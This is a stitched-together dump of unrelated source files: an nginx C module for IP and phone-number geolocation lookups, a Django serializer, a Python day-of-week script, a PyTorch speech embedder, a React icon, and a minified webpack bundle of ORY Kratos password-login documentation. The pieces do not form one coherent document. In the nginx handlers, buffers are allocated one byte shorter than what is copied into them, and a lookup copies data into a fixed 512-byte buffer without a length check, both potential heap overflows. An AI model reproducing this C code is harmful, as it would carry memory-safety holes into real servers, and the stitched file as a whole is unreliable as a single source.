char *)ip, "%hhu.%hhu.%hhu.%hhu", &ips[0], &ips[1], &ips[2], &ips[3]) != 4) { return NGX_ERROR; } ip_prefix_value = ips[0] * 256 + ips[1]; ip2long_value = NGX_HTTP_IPIP_DATX_BIGEND(ips); start = datx->addr[4 + ip_prefix_value]; max_comp_len = datx->offset - 262144 - 4; index_offset = 0; index_length = 0; for (start = start * 9 + 262144; start < max_comp_len; start += 9) { if (NGX_HTTP_IPIP_DATX_BIGEND(datx->index + start) >= ip2long_value) { index_offset = NGX_HTTP_IPIP_DATX_LITTLEEND(datx->index + start + 4) & 0x00FFFFFF; index_length = (datx->index[start + 7] << 8) + datx->index[start + 8]; break; } } ngx_memcpy(result, datx->addr + datx->offset + index_offset - 262144, index_length); result[index_length] = '\0'; return NGX_OK; } static ngx_int_t ngx_http_ipip_arg(u_char *begin, u_char *end, u_char *name, size_t len, ngx_str_t *value) { u_char *p, *last; p = begin; last = end; for ( /* void */ ; p < last; p++) { /* we need '=' after name, so drop one char from last */ p = ngx_strlcasestrn(p, last - 1, name, len - 1); if (p == NULL) { return NGX_DECLINED; } if ((p == begin || *(p - 1) == '&') && *(p + len) == '=') { value->data = p + len + 1; p = ngx_strlchr(p, last, '&'); if (p == NULL) { p = last; } value->len = p - value->data; return NGX_OK; } } return NGX_DECLINED; } static ngx_int_t ngx_http_ipip_ip_handler(ngx_http_request_t *r) { cJSON *root, *data; u_char *result, *lastp, *p, *last, *buf, *tmpbuf; ssize_t len; ngx_int_t rc; ngx_buf_t *b; ngx_str_t arg; ngx_chain_t out; ngx_http_ipip_main_conf_t *imcf; imcf = ngx_http_get_module_main_conf(r, ngx_http_ipip_module); result = ngx_pcalloc(r->pool, 512); if (result == NULL) { return NGX_HTTP_INTERNAL_SERVER_ERROR; } p = r->args.data; last = r->args.data + r->args.len; rc = ngx_http_ipip_arg(p, last, (u_char *)"ip", 2, &arg); if (rc != NGX_OK) { return NGX_HTTP_BAD_REQUEST; } /* { "ret": "ok", // ret 值为 ok 时 返回 data 数据 为err时返回msg数据 "data": [ "中国", // 国家 "天津", // 省会或直辖市(国内) "天津", // 地区或城市 (国内) "", // 学校或单位 (国内) "鹏博士", // 运营商字段(只有购买了带有运营商版本的数据库才会有) "39.128399", // 纬度 (每日版本提供) "117.185112", // 经度 (每日版本提供) "Asia/Shanghai", // 时区一, 可能不存在 (每日版本提供) "UTC+8", // 时区二, 可能不存在 (每日版本提供) "120000", // 中国行政区划代码 (每日版本提供) "86", // 国际电话代码 (每日版本提供) "CN", // 国家二位代码 (每日版本提供) "AP" // 世界大洲代码 (每日版本提供) ] } */ rc = ngx_http_ipip_ip_lookup(&imcf->ip_datx, arg.data, result); if (rc != NGX_OK) { buf = ngx_pcalloc(r->pool, sizeof(NGX_HTTP_IPIP_EMPTY_RESPONSE)); if (buf == NULL) { return NGX_HTTP_INTERNAL_SERVER_ERROR; } ngx_memcpy(buf, NGX_HTTP_IPIP_EMPTY_RESPONSE, sizeof(NGX_HTTP_IPIP_EMPTY_RESPONSE)); } else { /* * remember to free by cJSON_Delete */ root = cJSON_CreateObject(); cJSON_AddNumberToObject(root, "code", 0); cJSON_AddItemToObject(root, "data", data = cJSON_CreateArray()); lastp = p = result; for (;*p != '\0'; p++) { if (*p == '\t') { tmpbuf = ngx_pcalloc(r->pool, p - lastp); if (tmpbuf == NULL) { cJSON_Delete(root); return NGX_HTTP_INTERNAL_SERVER_ERROR; } ngx_cpystrn(tmpbuf, lastp, p - lastp + 1); cJSON_AddStringToObject(data, "dummy", (char *)tmpbuf); lastp = p + 1; } } if (lastp != p) { tmpbuf = ngx_pcalloc(r->pool, p - lastp); if (tmpbuf == NULL) { cJSON_Delete(root); return NGX_HTTP_INTERNAL_SERVER_ERROR; } ngx_cpystrn(tmpbuf, lastp, p - lastp + 1); cJSON_AddStringToObject(data, "dummy", (char *)tmpbuf); } if (ngx_http_ipip_json_stringify(r, root, &buf, &len) != NGX_OK) { cJSON_Delete(root); return NGX_HTTP_INTERNAL_SERVER_ERROR; } cJSON_Delete(root); } r->headers_out.content_length_n = strlen((char *)buf); r->headers_out.status = NGX_HTTP_OK; ngx_str_set(&r->headers_out.content_type, "application/json"); rc = ngx_http_send_header(r); if (rc == NGX_ERROR || rc > NGX_OK || r->header_only) { return rc; } b = ngx_pcalloc(r->pool, sizeof(ngx_buf_t)); if (b == NULL) { return NGX_HTTP_INTERNAL_SERVER_ERROR; } out.buf = b; out.next = NULL; b->pos = buf; b->last = buf + r->headers_out.content_length_n; b->memory = 1; b->last_buf = 1; return ngx_http_output_filter(r, &out); } static ngx_int_t ngx_http_ipip_phone_handler(ngx_http_request_t *r) { cJSON *root, *data; u_char *result, *p, *lastp, *last, *buf, *tmpbuf; ssize_t len; ngx_int_t rc; ngx_buf_t *b; ngx_str_t arg; ngx_chain_t out; ngx_http_ipip_main_conf_t *imcf; imcf = ngx_http_get_module_main_conf(r, ngx_http_ipip_module); result = ngx_pcalloc(r->pool, 512); if (result == NULL) { return NGX_HTTP_INTERNAL_SERVER_ERROR; } p = r->args.data; last = r->args.data + r->args.len; rc = ngx_http_ipip_arg(p, last, (u_char *)"phone", 5, &arg); if (rc != NGX_OK) { return NGX_HTTP_BAD_REQUEST; } /* { "ret": "ok", // ret 值为 ok 时 返回 data 数据 为err时返回msg数据 "data": [ "浙江", // 省会 "杭州", // 市级 "" // 运营商 ] } */ rc = ngx_http_ipip_phone_lookup(&imcf->phone_txt, arg.data, result); if (rc != NGX_OK) { buf = ngx_pcalloc(r->pool, sizeof(NGX_HTTP_IPIP_EMPTY_RESPONSE)); if (buf == NULL) { return NGX_HTTP_INTERNAL_SERVER_ERROR; } ngx_memcpy(buf, NGX_HTTP_IPIP_EMPTY_RESPONSE, sizeof(NGX_HTTP_IPIP_EMPTY_RESPONSE)); } else { root = cJSON_CreateObject(); cJSON_AddStringToObject(root, "ret", "ok"); cJSON_AddItemToObject(root, "data", data = cJSON_CreateArray()); lastp = p = result + NGX_HTTP_IPIP_PHONE_LEN + 1; for (;*p != '\0'; p++) { if (*p == '\t') { tmpbuf = ngx_pcalloc(r->pool, p - lastp); if (tmpbuf == NULL) { cJSON_Delete(root); return NGX_HTTP_INTERNAL_SERVER_ERROR; } ngx_cpystrn(tmpbuf, lastp, p - lastp + 1); cJSON_AddStringToObject(data, "dummy", (char *)tmpbuf); lastp = p + 1; } } if (lastp != p) { tmpbuf = ngx_pcalloc(r->pool, p - lastp); if (tmpbuf == NULL) { cJSON_Delete(root); return NGX_HTTP_INTERNAL_SERVER_ERROR; } ngx_cpystrn(tmpbuf, lastp, p - lastp + 1); cJSON_AddStringToObject(data, "dummy", (char *)tmpbuf); } if (ngx_http_ipip_json_stringify(r, root, &buf, &len) != NGX_OK) { cJSON_Delete(root); return NGX_HTTP_INTERNAL_SERVER_ERROR; } cJSON_Delete(root); } r->headers_out.content_length_n = strlen((char *)buf); r->headers_out.status = NGX_HTTP_OK; ngx_str_set(&r->headers_out.content_type, "application/json"); rc = ngx_http_send_header(r); if (rc == NGX_ERROR || rc > NGX_OK || r->header_only) { return rc; } b = ngx_pcalloc(r->pool, sizeof(ngx_buf_t)); if (b == NULL) { return NGX_HTTP_INTERNAL_SERVER_ERROR; } out.buf = b; out.next = NULL; b->pos = buf; b->last = buf + r->headers_out.content_length_n; b->memory = 1; b->last_buf = 1; return ngx_http_output_filter(r, &out); } static ngx_int_t ngx_http_ipip_handler(ngx_http_request_t *r) { ngx_int_t rc; if (!(r->method & (NGX_HTTP_GET|NGX_HTTP_HEAD))) { return NGX_HTTP_NOT_ALLOWED; } rc = ngx_http_discard_request_body(r); if (rc != NGX_OK) { return rc; } if (ngx_strncasecmp(r->uri.data, (u_char *)"/oip", 4) == 0) { return ngx_http_ipip_ip_handler(r); } else if (ngx_strncasecmp(r->uri.data, (u_char *)"/ophone", 7) == 0){ return ngx_http_ipip_phone_handler(r); } else { return NGX_HTTP_NOT_FOUND; } } static ngx_int_t ngx_http_ipip_json_stringify(ngx_http_request_t *r, cJSON *root, u_char **buf, ssize_t *len) { char *out = NULL; out = cJSON_Print(root); *len = strlen(out) + 64; *buf = ngx_pcalloc(r->pool, *len); if (*buf == NULL) { goto ERROR; } if (!cJSON_PrintPreallocated(root, (char *)*buf, *len, 1)) { goto ERROR; } free(out); return NGX_OK; ERROR: free(out); return NGX_ERROR; }
from rest_framework import serializers from .models import Rec class RecSerializer(serializers.ModelSerializer): class Meta: model = Rec fields = '__all__'
day = int(input()) if day == 1: print("Monday") elif day == 2: print("Tuesday") elif day == 3: print("Wednesday") elif day == 4: print("Thursday") elif day == 5: print("Friday") elif day == 6: print("Saturday") elif day == 7: print("Sunday") else: print("Error")
import torch import torch.nn as nn class LinearNorm(nn.Module): def __init__(self, hp): super(LinearNorm, self).__init__() self.linear_layer = nn.Linear(hp.embedder.lstm_hidden, hp.embedder.emb_dim) def forward(self, x): return self.linear_layer(x) class SpeechEmbedder(nn.Module): def __init__(self, hp): super(SpeechEmbedder, self).__init__() self.lstm = nn.LSTM(hp.embedder.num_mels, hp.embedder.lstm_hidden, num_layers=hp.embedder.lstm_layers, batch_first=True) self.proj = LinearNorm(hp) self.hp = hp def forward(self, mel): # (num_mels, T) mels = mel.unfold(1, self.hp.embedder.window, self.hp.embedder.stride) # (num_mels, T', window) mels = mels.permute(1, 2, 0) # (T', window, num_mels) x, _ = self.lstm(mels) # (T', window, lstm_hidden) x = x[:, -1, :] # (T', lstm_hidden), use last frame only x = self.proj(x) # (T', emb_dim) x = x / torch.norm(x, p=2, dim=1, keepdim=True) # (T', emb_dim) x = x.sum(0) / x.size(0) # (emb_dim), average pooling over time frames return x
import React from 'react'; import createSvgIcon from './utils/createSvgIcon'; export default createSvgIcon( <React.Fragment><path fill="none" d="M0 0h24v24H0V0z" /><path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41z" /></React.Fragment> , 'ClearSharp');
from .print_hex_helper import print_bytes_with_description __all__ = [ "print_bytes_with_description" ]
(window.webpackJsonp=window.webpackJsonp||[]).push([[110],{248:function(e,n,t){"use strict";t.r(n),t.d(n,"frontMatter",(function(){return i})),t.d(n,"metadata",(function(){return o})),t.d(n,"rightToc",(function(){return l})),t.d(n,"default",(function(){return d}));var a=t(2),s=t(9),r=(t(0),t(330)),i={id:"username-email-password",title:"Username or Email and Password"},o={id:"version-v0.1/self-service/strategies/username-email-password",isDocsHomePage:!1,title:"Username or Email and Password",description:"The password strategy implements the most-common used form of login and",source:"@site/versioned_docs/version-v0.1/self-service/strategies/username-email-password.md",permalink:"/kratos/docs/v0.1/self-service/strategies/username-email-password",editUrl:"https://github.com/ory/kratos/edit/master/docs/versioned_docs/version-v0.1/self-service/strategies/username-email-password.md",version:"v0.1",lastUpdatedBy:"Mike Milano",lastUpdatedAt:1592209242,sidebar:"version-v0.1/docs",previous:{title:"Overview",permalink:"/kratos/docs/v0.1/self-service/strategies/index"},next:{title:"Social Sign In with OpenID Connect and OAuth2",permalink:"/kratos/docs/v0.1/self-service/strategies/openid-connect-social-sign-in-oauth2"},latestVersionMainDocPermalink:"/kratos/docs"},l=[{value:"Choosing between Username, Email, Phone Number",id:"choosing-between-username-email-phone-number",children:[{value:"Email and Password",id:"email-and-password",children:[]},{value:"Multiple E-Mails and Password",id:"multiple-e-mails-and-password",children:[]},{value:"Username and Password",id:"username-and-password",children:[]},{value:"Username and Email and Password",id:"username-and-email-and-password",children:[]},{value:"Phone Number And Password",id:"phone-number-and-password",children:[]}]},{value:"Browser Clients",id:"browser-clients",children:[{value:"Registration",id:"registration",children:[]},{value:"Login",id:"login",children:[]}]},{value:"API Clients",id:"api-clients",children:[]},{value:"Security and Defenses",id:"security-and-defenses",children:[{value:"Anti-automation",id:"anti-automation",children:[]},{value:"Password Validation",id:"password-validation",children:[]},{value:"Account Enumeration Defenses (work in progress)",id:"account-enumeration-defenses-work-in-progress",children:[]}]}],c={rightToc:l};function d(e){var n=e.components,t=Object(s.a)(e,["components"]);return Object(r.b)("wrapper",Object(a.a)({},c,t,{components:n,mdxType:"MDXLayout"}),Object(r.b)("p",null,"The ",Object(r.b)("inlineCode",{parentName:"p"},"password")," strategy implements the most-common used form of login and\nregistration: An identifier (username, email, phone number, ...) and a password."),Object(r.b)("p",null,"It implements several flows, specifically\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"../flows/user-login-user-registration.mdx"}),"User Login and User Registration"),"."),Object(r.b)("p",null,"To enable the ",Object(r.b)("inlineCode",{parentName:"p"},"password")," strategy, set ",Object(r.b)("inlineCode",{parentName:"p"},"selfservice.strategies.password.enabled"),"\nto true in your ORY Kratos configuration:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-yaml"}),"selfservice:\n strategies:\n password:\n enabled: true\n")),Object(r.b)("p",null,"Passwords are hashed using the\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"/kratos/docs/v0.1/concepts/security#Argon2"}),"Argon2 Hashing Algorithm")," which can be\nconfigured in the\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"/kratos/docs/v0.1/concepts/security#Argon2"}),"ORY Kratos Argon2 Configuration"),"."),Object(r.b)("p",null,"When a user signs up using this strategy, the Default Identity Traits Schema\n(set using ",Object(r.b)("inlineCode",{parentName:"p"},"identity.traits.default_schema_url"),") is used:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-yaml"}),"identity:\n traits:\n # also supports http(s) of course\n default_schema_url: file:///path/to/default-identity.schema.json\n")),Object(r.b)("p",null,"If you don't know what that means, please read the\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"/kratos/docs/v0.1/concepts/identity-user-model"}),'"Concepts: Identity" Chapter'),"."),Object(r.b)("h2",{id:"choosing-between-username-email-phone-number"},"Choosing between Username, Email, Phone Number"),Object(r.b)("p",null,"Before you start, you need to decide what data you want to collect from your\nusers and why! It is hard to change this decision afterwards, so make sure\nyou've taken everything into account!"),Object(r.b)("p",null,"When logging in, the user will use a login identifier and a password to sign up\nand in. The identifier can be"),Object(r.b)("ul",null,Object(r.b)("li",{parentName:"ul"},'a username - e.g. "john.doe" or "johndoe123" or "oryuser",'),Object(r.b)("li",{parentName:"ul"},"an email address - e.g. ",Object(r.b)("inlineCode",{parentName:"li"},"john.doe@gmail.com"),","),Object(r.b)("li",{parentName:"ul"},"a phone number - e.g. ",Object(r.b)("inlineCode",{parentName:"li"},"+49-1234-4321-1234-4321"),".")),Object(r.b)("p",null,"All of these approaches have up- and downsides."),Object(r.b)("p",null,'Using the email address as the login identifier is easy to remember, does not\nrequire additional fields (because the email address is already being\ncollected), and is usually unique. It\'s usually unique because sometimes\ncompanies use a "shared" email account (e.g. ',Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"mailto:office@acme.org"}),"office@acme.org"),") to access\nservices. In that case, multiple real identities are using the same email\nidentifier to log in."),Object(r.b)("p",null,"The email address however represents a unique identifier and personally\nidentifiable information (PII). An attacker could for example check if an email\naddress (e.g. ",Object(r.b)("inlineCode",{parentName:"p"},"john.doe@gmail.com"),") is registered at a site (e.g. an adult\nwebsite) and use that information for blackmail (see\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"/kratos/docs/v0.1/concepts/security#account-enumeration-attacks"}),"Account Enumeration Attacks"),")."),Object(r.b)("p",null,"The same considerations apply to using a phone number as the primary\nregistration & login identifier."),Object(r.b)("p",null,'Using a free text username reduces the privacy risk because it is much harder to\nmake a connection between the username and a real world identity. It\'s still\npossible in cases where users choose a username such as\n"john.doe.from.mineapolis.1970", but finding the right username identifier is\nstill difficult and there is plausible deniability because anyone could use that\nusername.'),Object(r.b)("p",null,"A free text username however requires capturing additional fields (e.g. an email\naddress for password resets / account recovery) and is hard to remember. It is\noften very difficult to find unique usernames as people tend to use a\ncombination of their names and initials (e.g. ",Object(r.b)("inlineCode",{parentName:"p"},"john.doe"),") which has a high\nchance of collision. Therefore, one ends up with usernames such as\n",Object(r.b)("inlineCode",{parentName:"p"},"john.doe1234432"),"."),Object(r.b)("p",null,"It is important to understand that ORY Kratos lowercases all ",Object(r.b)("inlineCode",{parentName:"p"},"password"),"\nidentifiers and therefore E-Mail addresses. Characters ",Object(r.b)("inlineCode",{parentName:"p"},"+")," or ",Object(r.b)("inlineCode",{parentName:"p"},".")," which have\nspecial meaning for some E-Mail Providers (e.g. GMail) are not normalized:"),Object(r.b)("ul",null,Object(r.b)("li",{parentName:"ul"},Object(r.b)("inlineCode",{parentName:"li"},"userNAME")," is equal to ",Object(r.b)("inlineCode",{parentName:"li"},"username")),Object(r.b)("li",{parentName:"ul"},Object(r.b)("inlineCode",{parentName:"li"},"foo@BaR.com")," is equal to ",Object(r.b)("inlineCode",{parentName:"li"},"foo@bar.com")),Object(r.b)("li",{parentName:"ul"},Object(r.b)("inlineCode",{parentName:"li"},"foo+baz@bar.com")," is NOT equal to ",Object(r.b)("inlineCode",{parentName:"li"},"foo@bar.com")),Object(r.b)("li",{parentName:"ul"},Object(r.b)("inlineCode",{parentName:"li"},"foo.baz@bar.com")," is NOT equal to ",Object(r.b)("inlineCode",{parentName:"li"},"foobar@bar.com"))),Object(r.b)("p",null,"You need to decide which route you want to take."),Object(r.b)("h3",{id:"email-and-password"},"Email and Password"),Object(r.b)("p",null,"To use the email address as the login identifier, define the following Identity\nTraits Schema:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-json"}),'{\n "$id": "https://example.com/registration.schema.json",\n "$schema": "http://json-schema.org/draft-07/schema#",\n "title": "Person",\n "type": "object",\n "properties": {\n "email": {\n "type": "string",\n "format": "email",\n "ory.sh/kratos": {\n "credentials": {\n "password": {\n "identifier": true\n }\n }\n }\n }\n }\n}\n')),Object(r.b)("h3",{id:"multiple-e-mails-and-password"},"Multiple E-Mails and Password"),Object(r.b)("p",null,"You can allow users to sign up with multiple E-Mail Addresses and use any of\nthose for log in:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-json"}),'{\n "$id": "https://example.com/registration.schema.json",\n "$schema": "http://json-schema.org/draft-07/schema#",\n "title": "Person",\n "type": "object",\n "properties": {\n "emails": {\n "type": "array",\n "items": {\n "type": "string",\n "format": "email",\n "ory.sh/kratos": {\n "credentials": {\n "password": {\n "identifier": true\n }\n }\n }\n }\n }\n }\n}\n')),Object(r.b)("h3",{id:"username-and-password"},"Username and Password"),Object(r.b)("p",null,"To use a username as the login identifier, define the following Identity Traits\nSchema:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-json"}),'{\n "$id": "https://example.com/registration.schema.json",\n "$schema": "http://json-schema.org/draft-07/schema#",\n "title": "Person",\n "type": "object",\n "properties": {\n "username": {\n "type": "string",\n "ory.sh/kratos": {\n "credentials": {\n "password": {\n "identifier": true\n }\n }\n }\n }\n }\n}\n')),Object(r.b)("h3",{id:"username-and-email-and-password"},"Username and Email and Password"),Object(r.b)("p",null,"You may also mix usernames and passwords:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-json"}),'{\n "$id": "https://example.com/registration.schema.json",\n "$schema": "http://json-schema.org/draft-07/schema#",\n "title": "Person",\n "type": "object",\n "properties": {\n "email": {\n "type": "string",\n "format": "email",\n "ory.sh/kratos": {\n "credentials": {\n "password": {\n "identifier": true\n }\n }\n }\n },\n "username": {\n "type": "string",\n "ory.sh/kratos": {\n "credentials": {\n "password": {\n "identifier": true\n }\n }\n }\n }\n }\n}\n')),Object(r.b)("h3",{id:"phone-number-and-password"},"Phone Number And Password"),Object(r.b)("blockquote",null,Object(r.b)("p",{parentName:"blockquote"},"This will be addressed in a future release and is tracked as\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"https://github.com/ory/kratos/issues/137"}),"kratos#137"),".")),Object(r.b)("h2",{id:"browser-clients"},"Browser Clients"),Object(r.b)("h3",{id:"registration"},"Registration"),Object(r.b)("p",null,"This strategy uses the high-level registration flow defined in chapter\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"../flows/user-login-user-registration.mdx"}),"Self-Service Registration User Flow"),"."),Object(r.b)("p",null,"Once the user is redirected to the Registration UI URL, the endpoint responsible\nfor that URL makes a request to ORY Kratos' Public / Admin API and appends the\n",Object(r.b)("inlineCode",{parentName:"p"},"request")," query parameter."),Object(r.b)("p",null,"ORY Kratos uses the JSON Schema defined in ",Object(r.b)("inlineCode",{parentName:"p"},"identity.traits.default_schema_url"),"\nto generate a list of form fields and add it to the Registration Request."),Object(r.b)("p",null,"Using a JSON Schema like"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-json"}),'{\n "$id": "https://schemas.ory.sh/presets/kratos/quickstart/email-password/identity.schema.json",\n "$schema": "http://json-schema.org/draft-07/schema#",\n "title": "Person",\n "type": "object",\n "properties": {\n "email": {\n "type": "string",\n "format": "email",\n "title": "E-Mail",\n "minLength": 3,\n "ory.sh/kratos": {\n "credentials": {\n "password": {\n "identifier": true\n }\n }\n }\n },\n "name": {\n "type": "object",\n "properties": {\n "first": {\n "type": "string"\n },\n "last": {\n "type": "string"\n }\n }\n }\n },\n "required": ["email"],\n "additionalProperties": false\n}\n')),Object(r.b)("p",null,"will result in the following Registration Request"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-json5"}),"{\n id: '713df601-d6c8-4331-8195-c29b92db459f',\n expires_at: '2020-01-27T16:31:00.3507956Z',\n issued_at: '2020-01-27T16:21:00.3508076Z',\n request_url: 'http://127.0.0.1:4455/auth/browser/registration',\n methods: {\n password: {\n method: 'password',\n config: {\n action: 'http://127.0.0.1:4455/.ory/kratos/public/auth/browser/methods/password/registration?request=713df601-d6c8-4331-8195-c29b92db459f',\n method: 'POST',\n fields: [\n {\n name: 'csrf_token',\n type: 'hidden',\n required: true,\n value: '0klCuilgIO2k0Ev3J3IEsMOlmxg0RhjiiiWXVKm3Pd7HxZLVkDHWoOSfiT+/BJn69Dg2fmq6MHv8HkEx6MrVlw==',\n },\n {\n name: 'traits.email',\n type: 'email',\n required: true,\n },\n {\n name: 'password',\n type: 'password',\n required: true,\n },\n {\n name: 'traits.name.first',\n type: 'text',\n },\n {\n name: 'traits.name.last',\n type: 'text',\n },\n ],\n },\n },\n },\n}\n")),Object(r.b)("p",null,"which in turn is easily to render by filling out a HTML Form template:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-html"}),'<form method="{{ method }}" action="{{ action }}">\n \x3c!-- repeat this for every field --\x3e\n <input type="{{ field.type }}" name="{{ field.name }} required="{{\n field.required }}" value="{{ field.value }}"\n \x3c!-- ... --\x3e>\n\n <input type="submit" value="Create account" />\n</form>\n')),Object(r.b)("p",null,'Once the user clicks "Create Account", the payload will be sent to ORY Kratos\'\nPublic API. The data will be validated against the JSON Schema (e.g. checking if\na required field is missing, if some condition like ',Object(r.b)("inlineCode",{parentName:"p"},"minLength")," is not\nfulfilled, ...). If the data is invalid or incomplete, the browser will be\nredirected to the same login endpoint with the same request ID. When fetching\nthat request ID again, error details will be included in the JSON Response, such\nas:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-json5"}),"{\n id: '713df601-d6c8-4331-8195-c29b92db459f',\n expires_at: '2020-01-27T16:31:00.3507956Z',\n issued_at: '2020-01-27T16:21:00.3508076Z',\n request_url: 'http://127.0.0.1:4455/auth/browser/registration',\n methods: {\n password: {\n method: 'password',\n config: {\n errors: [\n {\n message: 'Please update the Form Fields to proceed.',\n },\n ],\n action: 'http://127.0.0.1:4455/.ory/kratos/public/auth/browser/methods/password/registration?request=713df601-d6c8-4331-8195-c29b92db459f',\n method: 'POST',\n fields: [\n /* ... */\n {\n name: 'password',\n type: 'text',\n value: 't4aegbydfv5234',\n errors: [\n {\n message: \"traits.email: Does not match format 'email'\",\n },\n ],\n },\n /* ... */\n ],\n },\n },\n },\n}\n")),Object(r.b)("blockquote",null,Object(r.b)("p",{parentName:"blockquote"},"Validation error messages and context will be improved in future releases.\nThis is tracked as ",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"https://github.com/ory/kratos/issues/185"}),"kratos#185"),".")),Object(r.b)("h3",{id:"login"},"Login"),Object(r.b)("p",null,"The Login flow is almost identical to the registration flow. The only difference\nis that only three fields will be requested:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-json5"}),"{\n id: '0cfb0f7e-3866-453c-9c23-28cc2cb7fead',\n expires_at: '2020-01-27T16:48:53.8826084Z',\n issued_at: '2020-01-27T16:38:53.8826392Z',\n request_url: 'http://127.0.0.1:4455/auth/browser/login',\n methods: {\n password: {\n method: 'password',\n config: {\n action: 'http://127.0.0.1:4455/.ory/kratos/public/auth/browser/methods/password/login?request=0cfb0f7e-3866-453c-9c23-28cc2cb7fead',\n method: 'POST',\n fields: [\n {\n name: 'csrf_token',\n type: 'hidden',\n required: true,\n value: 'F0LABRxm/os+18VBUcbmz98LkJid1sEj++4X41rcdbcCzhBqpTcIxn6YB4nJsHuF6JY9/sMq6bqN1cGGG6Gd/g==',\n },\n {\n name: 'identifier',\n type: 'text',\n required: true,\n },\n {\n name: 'password',\n type: 'password',\n required: true,\n },\n ],\n },\n },\n },\n}\n")),Object(r.b)("p",null,"If the login form is filled out incorrectly, errors are included in the\nresponse:"),Object(r.b)("pre",null,Object(r.b)("code",Object(a.a)({parentName:"pre"},{className:"language-json5"}),"{\n id: '0cfb0f7e-3866-453c-9c23-28cc2cb7fead',\n expires_at: '2020-01-27T16:48:53.8826084Z',\n issued_at: '2020-01-27T16:38:53.8826392Z',\n request_url: 'http://127.0.0.1:4455/auth/browser/login',\n methods: {\n password: {\n method: 'password',\n config: {\n errors: [\n {\n message: 'Please check the data you provided.',\n },\n ],\n action: 'http://127.0.0.1:4455/.ory/kratos/public/auth/browser/methods/password/login?request=0cfb0f7e-3866-453c-9c23-28cc2cb7fead',\n method: 'POST',\n fields: [\n /* ... */\n {\n name: 'password',\n type: 'password',\n required: true,\n errors: [\n {\n message: 'password: password is required',\n },\n ],\n },\n ],\n },\n },\n },\n}\n")),Object(r.b)("h2",{id:"api-clients"},"API Clients"),Object(r.b)("p",null,"API-based login and registration using this strategy will be addressed in a\nfuture release of ORY Kratos."),Object(r.b)("h2",{id:"security-and-defenses"},"Security and Defenses"),Object(r.b)("p",null,"Password-based authentication flows are subject to frequent abuse through"),Object(r.b)("ul",null,Object(r.b)("li",{parentName:"ul"},"Social Engineering Attacks;"),Object(r.b)("li",{parentName:"ul"},"Password Guessing Attacks;"),Object(r.b)("li",{parentName:"ul"},"Phishing Attacks.")),Object(r.b)("h3",{id:"anti-automation"},"Anti-automation"),Object(r.b)("blockquote",null,Object(r.b)("p",{parentName:"blockquote"},"This feature is a work in progress and is tracked as\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"https://github.com/ory/kratos/issues/138"}),"kratos#133"),".")),Object(r.b)("p",null,"Actions that cause out-of-band communications, such as sending an activation\nlink via email or an activation code via SMS, can be abused by automated\nsystems. The goal of such an attack is to send out so many emails or SMS, that\nyour reputation worsens (spam filters) or you're faced with massive costs\n(carrier fees)."),Object(r.b)("p",null,"CAPTCHA renders these attacks either very difficult or impossible. ORY Kratos\nhas CAPTCHA support built-in. ORY Kratos will prompt the user to complete a\nCAPTCHA in the following scenarios:"),Object(r.b)("ul",null,Object(r.b)("li",{parentName:"ul"},"The user tries to register more than one account within 72 hours."),Object(r.b)("li",{parentName:"ul"},"The user failed provide valid credentials for the third time within 12 hours."),Object(r.b)("li",{parentName:"ul"},"The user tries to recover their account for the second time within 72 hours.")),Object(r.b)("p",null,"For integration guidelines, please check the individual flow's (registration,\nlogin, account recovery) integration documentation."),Object(r.b)("h3",{id:"password-validation"},"Password Validation"),Object(r.b)("blockquote",null,Object(r.b)("p",{parentName:"blockquote"},"Further improvements are work in progress and are tracked on\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"https://github.com/ory/kratos/issues?q=is%3Aopen+label%3Amodule%3Ass%2Fpassword+"}),"GitHub"))),Object(r.b)("p",null,"To prevent weak passwords ORY Kratos implements different measures. Users often\nchoose passwords similar to their traits. To prevent this ORY Kratos ensures\nthere is a sufficient\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"https://en.wikipedia.org/wiki/Levenshtein_distance"}),"Levenshtein-Distance"),' (aka\n"Edit-Distance") between the identifier and the password. It also makes sure\nthat the identifier and password have a small enough longest common substring.'),Object(r.b)("p",null,"Furthermore the ",Object(r.b)("inlineCode",{parentName:"p"},"password")," strategy comes with a build-in check against the\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"https://haveibeenpwned.com"}),'"Have I been pwned"'),' breach database. This way ORY\nKratos makes sure your users cannot use passwords like "password", "123456" or\nany other commonly used one. To protect the value of the password the\n',Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"https://haveibeenpwned.com/API/v3#SearchingPwnedPasswordsByRange"}),"range API")," is\nbeing used."),Object(r.b)("h3",{id:"account-enumeration-defenses-work-in-progress"},"Account Enumeration Defenses (work in progress)"),Object(r.b)("blockquote",null,Object(r.b)("p",{parentName:"blockquote"},"This feature is a work in progress and is tracked as\n",Object(r.b)("a",Object(a.a)({parentName:"p"},{href:"https://github.com/ory/kratos/issues/133"}),"kratos#133"),".")),Object(r.b)("p",null,'Account enumeration attacks allow a attacker to find out who is signed up. This\ncompromises the privacy of your 